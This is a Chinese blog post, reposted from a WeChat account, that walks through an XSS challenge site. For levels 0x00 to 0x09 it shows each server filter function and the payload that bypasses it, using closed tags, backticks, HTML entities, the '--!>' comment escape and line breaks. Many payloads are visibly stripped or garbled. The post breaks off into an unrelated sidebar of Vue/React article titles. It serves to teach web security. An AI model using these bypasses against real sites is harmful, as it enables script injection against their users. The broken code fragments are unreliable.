本文作者:kale 本文首发于“合天智汇”公众号,转载请联系公众号!
一、 题记最近发现一个xss的攻防网站,界面很有意思,很适合寓教于乐。于是玩了一下午,特此记录下来!xss姿势众多,所以每关也只是给了一部分示例!
二、 知识前导 什么是XSS?XSS 或者说跨站脚本是一种 Web 应用程序的漏洞,当来自用户的不可信数据被应用程序在没有验证以及反射回浏览器而没有进行编码或转义的情况下进行了处理,导致浏览器引擎执行了代码。
XSS防护逻辑如果你可以使得一个Web应用程序满足以下规则,XSS可以被减少。
-
验证输入并且基于语境和按照正确的顺序转义不可信数据
输入验证
所有不可信数据应该针对Web应用程序的逻辑在处理和存储前进行验证
浏览器解析顺序解码和解析顺序意味着很多东西。如果对不可信数据的编码或解码以错误的顺序或错误的环境,将再次有机会导致XSS漏洞的发生。编码或者转义对不同的环境要求不同。这些编码的顺序应该取决于应用程序的逻辑。
一个典型的不可信数据可以反射在HTML,HTML属性,脚本变量,脚本块,含状态传输的参数,URL、风格等中。不同的转义方法为了确保XSS的防护必须要在不同的环境 中实现。
三、 正文 0x00server code:
function render (input) {
return '' + input + ''
}
input code:
alert(1)
第一关,没啥说的,没有任何过滤,直接输出到了js里面。
0x01server code:
function render (input) {
return '' + input + ''
}
input code:
alert(1)
这一关闭合textarea标签即可
0x02server code:
function render (input) {
return ''
}
input code:
">alert(1)
此关闭合双引号及及input标签即可!
0x03server code:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
input code:
alert`1`
这里过滤括号,可以使用反引号绕过,当然可以使用html实体编码绕过
alert(1)
0x04
server code:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
input code:
alert(1)
在上题基础上加了个``反引号过滤,html实体编码绕过
0x05server code:
function render (input) {
input = input.replace(/-->/g, '😂')
return ''
}
input code:
--!>
alert(1)
注释符替换成笑脸…并且输出在html注释中。使用–!>绕过并跳出注释,html注释:
或者
0x06
server code:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return ``
}
input code:
onmousemove
=alert(1)
过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写。这里使用换行绕过。
0x07
server code:
function render (input) {
const stripTagsRe = /]+>/gi
input = input.replace(stripTagsRe, '')
return `${input}`
}
input code:
1、闭合前加空格绕过;在标签>闭合前换行绕过;
0x09
server code:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?